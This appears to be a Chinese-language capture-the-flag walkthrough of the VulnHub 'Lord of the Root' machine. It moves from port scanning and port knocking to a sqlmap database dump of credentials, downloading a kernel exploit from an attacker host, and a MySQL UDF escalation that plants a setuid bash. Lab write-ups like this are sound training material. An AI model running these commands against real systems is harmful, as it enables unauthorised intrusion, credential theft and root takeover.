PDF下載:
Target-practice/Range at main · szjr123/Target-practice
一、靶機描述
靶機地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
靶機難度:中等(CTF)
靶機描述:這是KoocSec為黑客練習準備的另一個Boot2Root挑戰。他通過OSCP考試的啟發準備了這一過程。它基于偉大的小說改制電影《指環王》的概念。
目標:得到root權限&找到flag.txt
直接VM導入靶機,啟動靶機
二、信息搜集
1、目標IP獲取
得到目標IP:10.10.10.130
2、端口掃描
nmap -p- --min-rate 1000 -T4 10.10.10.130
似乎只開啟了22端口嗎
端口詳細信息掃描
nmap -p22 -sV -sC -A? --min-rate 1000 -T4 10.10.10.130
嘗試連接22端口
ssh 10.10.10.130
給出提示:
Easy as 1,2,3
提示port_knocking(端口試探)
端口試探的主要目的是防止攻擊者通過對端口掃描的方式對主機進行攻擊。
端口試探是一種通過嘗試連接,從外部打開原先關閉端口的方法。一旦收到正確順序的嘗試連接,防火墻就會打開一些特定的端口允許嘗試連接的主機訪問。
嘗試連接1,2,3端口
安裝knock:
apt install knockd
使用
knock -v 10.10.10.130 1 2 3
再次進行端口掃描
nmap -p- --min-rate 1000 -T4 10.10.10.130
開放新的端口1337
三、Getshell
訪問1337端口
查看源代碼沒有信息
進行目錄掃描
給到三張圖片
沒什么信息根據圖片訪問/mordor
源代碼發現
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
得到新路徑
/978345210/index.php
登錄框
嘗試admin萬能密碼失敗
嘗試注入
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms
給出:data: username= &password=*&submit=%20Login%20
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms --dbs
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp --tables
sqlmap -o -u http://10.10.10.130:1337/978345210/index.php --forms -D Webapp -T Users –dump
得到:
frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe
嘗試進行ssh連接:
最終只有smeagol | MyPreciousR00t可以成功連接
四、提權
1、內核提權
查看內核:
uname -a
ubuntu 14.04 linux 3.19
wget 10.10.10.128:442/39166.c
2、mysql udf提權
注意:下述操作未做演示,只是講解一般操作步驟
查看mysql啟動權限
查找mysql賬號:/var/www/ 978345210/login.php
'root', 'darkshadow'
連接
mysql -u root -p
輸入密碼后進入
查看mysql版本號
(1)依次執行
select * from mysql.func;#查看可執行函數,若以及有函數直接跳到(7)select version();?? # 獲取數據庫版本
udf提權因數據庫版本會不一樣
show variables like 'plugin%'; # 查看plugin路徑show global variables like '%secure%';? #查看是否有寫入權限
當 secure_file_priv 的值沒有具體值時,可提權
(2)任選一個數據庫創建表單:
CREATE TABLE foo (data LONGBLOB);
(3)將所選擇的udf插入表單(同樣先利用wget下載kali中自帶的(位置:/usr/share/metasploit/mysql/)):
insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so '));
(4)導出(/usr/lib/mysql/plugin/為plugin位置):
select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so ';
(5)創建函數(這里少數情況會報錯,執行(9)):
create function sys_eval returns integer soname 'lib_mysqludf_sys_64.so';
(6)
select * from mysql.func; ? #查看函數是否創建成功
(7)
select sys_eval('cp /bin/bash /tmp/bash ; chmod +s /tmp/bash');
(8)回到/tmp/bash執行
/tmp/bash -pwhoami
(9)查看lib_mysqludf_sys_64.so 長度,顯示長度為1
ls -l /usr/lib/mysql/plugin/lib_mysqludf_sys_64.so
直接在數據庫中進行復制過去
\! cp /tmp/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin